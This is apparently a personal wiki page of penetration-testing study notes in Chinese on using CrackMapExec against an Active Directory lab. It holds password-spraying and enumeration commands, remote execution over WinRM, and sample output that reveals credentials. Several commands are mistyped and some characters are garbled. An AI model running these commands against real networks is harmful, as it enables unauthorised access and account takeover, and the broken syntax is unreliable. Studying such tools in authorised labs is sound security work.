【SMB】【Remote】CME（CrackMapExec）

CrackMapExec（簡稱CME）是一個用於自動化測試和□透測試的開源工具，旨在簡化與Windows環境中的Active Directory（AD）進行交互的過程。它是一個功能強大的□透測試框架，支持許多不同的攻擊和測試操作。

以下是CME的主要特點和功能：

- **多功能性**： CME支持多種不同的攻擊和測試操作，包括遠程執行代碼（RCE）、收集主機信息、橫向移動、搜集憑證、模擬金票攻擊等。
- **支援多種協議**：CME支援多種協議，包括SMB、WinRM、SSH、PowerShell等，使其能夠與不同類型的Windows和Linux系統進行交互。
- **Active Directory測試**： CME專門設計用於與Active Directory環境進行交互。它可以執行AD中的多種測試，如查找域控制器、列舉用戶和組、執行DCSync攻擊等。
- 模組化框架： CME是一個模組化的框架，允許用戶擴展其功能，添加新的模組，以滿足特定的需求。
- 跨平臺： 雖然CME的主要焦點是Windows環境，但它也具有一些跨平臺的功能，使其能夠與Linux系統進行交互。
- 命令行和交互式操作： CME提供了命令行界面和交互式Shell，用戶可以根據需要選擇不同的操作方式。
- 強大的搜集工具：CME內置了一些強大的信息搜集工具，用戶可以使用這些工具收集目標系統的信息。
- 安全性： CME的設計考慮了安全性，並且在使用之前應該獲得合法的授權，以確保合法和合規的使用。

CME通常由紅隊和□透測試人員使用，以測試組織的安全性並發現潛在的弱點。使用這類工具需要謹慎，應該遵循合法和道德的原則，並在授權的環境中進行操作。

```
# 使用pyenv 隔離安裝 crackmapexec
apt-get install -y libssl-dev libffi-dev python-dev build-essential
pip install crackmapexec
```

crackmapexec在開始密碼噴灑之前不檢查域的密碼策略。因此，我們應該小心使用此方法以避免鎖定用戶帳戶。

```
PS C:\Users\jeff> net accounts
```

```
PS C:\Users\jeff> net accounts
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          1
Maximum password age (days):                          42
Minimum password length:                              7
Length of password history maintained:                24
Lockout threshold:                                    5
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 30
Computer role:                                        WORKSTATION
The command completed successfully.
```

```
# 準備使用者列表
kali@kali:~$ cat users.txt
dave
jen
pete

# 連線列舉
crackmapexec smb ad_list.txt -u  stephanie -p 'LegmanTeamBenzoion!!' —sessions
# 分享目錄列舉
crackmapexec smb ad_list.txt -u  stephanie -p 'LegmanTeamBenzoion!!' —shares
# 使用者列舉
crackmapexec smb ad_list.txt -u  stephanie -p 'LegmanTeamBenzoion!!' —users
# 猜密碼
crackmapexec smb ad_list.txt -u ad_user.txt -p 'LegmanTeamBenzoion!!' --contunue-on-success
crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success
crackmapexec smb 192.168.250.0/24 -u pete -p 'Nexus123!' -d corp.com --continue-on-success
#
crackmapexec wimrm ad_list.txt -u ad_user.txt -p 'LegmanTeamBenzoion!!' -x whoami
```

找到登入(藍色)

```
(signing:False) (SMBv1:False)
SMB         192.168.198.74  445    CLIENT74         [+] corp.com\mike:Darkness1099!
SMB         192.168.198.70  445    DC1              [+] corp.com\mike:Darkness1099!
SMB         192.168.198.75  445    CLIENT75         [+] corp.com\mike:Darkness1099! (Pwn3d!)
SMB         192.168.198.72  445    WEB04            [+] corp.com\mike:Darkness1099!
SMB         192.168.198.73  445    FILES04          [+] corp.com\mike:Darkness1099!
```

修訂版本 #12
★由 treeman 建立於 10 ﷺ 2023 11:45:53
由 treeman 更新於 17 ﷺ 2024 10:24:10